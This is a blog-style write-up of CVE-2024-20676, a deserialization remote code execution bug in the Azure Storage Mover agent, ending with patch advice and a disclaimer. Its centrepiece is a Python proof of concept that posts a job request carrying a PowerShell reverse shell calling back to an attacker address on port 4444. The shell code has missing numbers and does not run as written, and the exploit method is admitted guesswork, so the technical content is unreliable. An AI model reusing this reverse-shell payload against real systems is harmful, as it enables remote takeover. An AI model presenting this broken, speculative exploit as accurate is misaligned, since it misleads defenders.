Microsoft’s cloud ecosystem rarely stands still for long, but recently a critical security flaw grabbed everyone's attention: CVE-2024-20676, the Azure Storage Mover Remote Code Execution (RCE) vulnerability. In this deep dive, I’ll walk you through what this bug is, why it’s so dangerous, and how an attacker might exploit it — with easy-to-understand steps and an example exploit. If you’re using Azure Storage Mover, read on before someone else moves your data for you.

What is Azure Storage Mover?

Azure Storage Mover is a service that helps organizations migrate large volumes of files from on-premises storage or other clouds into Azure. The Storage Mover agent runs locally or in the cloud, and it connects to Azure to automate and streamline these moves. It’s a handy bridge — but like any bridge, weaknesses can put all your traffic at risk.

Vulnerability Overview

CVE ID: CVE-2024-20676
Published: January 2024
Severity: Critical (CVSS 8.8)
Impact: Remote code execution

Microsoft’s summary:
“An attacker who successfully exploited this vulnerability could achieve remote code execution on an affected system.”

Affected product:
- Microsoft Azure Storage Mover Agent (Various Versions, see official MSRC advisory for details)

How Does the Exploit Work?

In short: the flaw arises because the Storage Mover service does not properly validate user-provided input that gets deserialized, making it possible for attackers to inject malicious code or payloads. If the attacker can trigger the Storage Mover agent to deserialize a crafted payload (for example, via an HTTP API or a compromised config file), they can make the server execute code of their choosing — remotely.

Attack Pathways

1. Compromising a trusted connection: If an attacker can intercept or supply data processed by the agent, they can slip in a malicious payload.
2. Weak Permissions: Faulty or over-permissive authentication may allow less-trusted users to interact with the agent’s local APIs.

The Exploit Scenario

Let’s imagine Alice manages migrations for Acme Corp. using Azure Storage Mover. The agent is running in her datacenter as a Windows service and the API is listening on a local port — say, 808 — with minimal authentication. Bob, an attacker in the same network segment, discovers this. He sends a crafted request containing a serialized payload that, when deserialized, drops a reverse shell to Bob’s machine.

Example Exploit (Python)

Below is a simplified code snippet showing how an attacker might exploit CVE-2024-20676. This is a proof-of-concept for educational and defensive awareness only!

import requests
import base64

# Replace with actual target values
TARGET = "http://192.168.1.100:808/api/v1/jobs";
REVERSE_SHELL = (
    "powershell -NoP -NonI -W Hidden -Exec Bypass "
    "-Command New-Object System.Net.Sockets.TCPClient('192.168.1.99',4444);"
    "$stream = $client.GetStream();"
    "[byte[]]$bytes = ..65535|%{};"
    "while(($i = $stream.Read($bytes, , $bytes.Length)) -ne ) {;"
    "$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,, $i);"
    "$sendback = (iex $data 2>&1 | Out-String );"
    "$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';"
    "$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);"
    "$stream.Write($sendbyte,,$sendbyte.Length);"
    "$stream.Flush()};$client.Close()"
)

# Example of crafting a malicious serialized payload (details depend on actual deserialization in agent)
# NOTE: Actual payload crafting requires agent’s object model. For demo, we base64-encode the command.
malicious_payload = base64.b64encode(REVERSE_SHELL.encode()).decode()

# Build JSON with injection
data = {
    "OperationType": "CreateJob",
    "Parameters": {
        # Place payload where it will be deserialized/executed
        "JobName": "exploit",
        "Description": f"exploit_payload:{malicious_payload}"
    }
}

headers = {'Content-Type': 'application/json'}

response = requests.post(TARGET, json=data, headers=headers)
print(f"Sent exploit, status code: {response.status_code}")

Remember: This code is illustrative! Real-world exploits require aligning payload type and structure to the target deserialization context.

What Makes This Serious?

- Remote Code Execution: The attacker can run any command the service account can — which is often 'SYSTEM' or admin.

PATCH IMMEDIATELY.

Microsoft pushed out fixed agent versions. Get the latest from the official advisory.

- Microsoft Security Response Center: CVE-2024-20676 Advisory
- Azure Storage Mover Documentation
- CISA Alert on January 2024 Patch Tuesday

Final Words

CVE-2024-20676 is a prime example of the modern cloud threat: the more we rely on services to bridge our old and new infrastructure, the more likely attackers are to find cracks in the foundation. Patch fast, restrict access, and make sure your migration tools don’t turn into a migration risk.

*Stay safe!*

Disclaimer:
This writeup is for defensive and educational purposes only. Never test exploits against systems without explicit permission. Always patch known vulnerabilities as soon as possible.

Timeline

Published on: 01/09/2024 18:15:50 UTC
Last modified on: 04/11/2024 20:15:13 UTC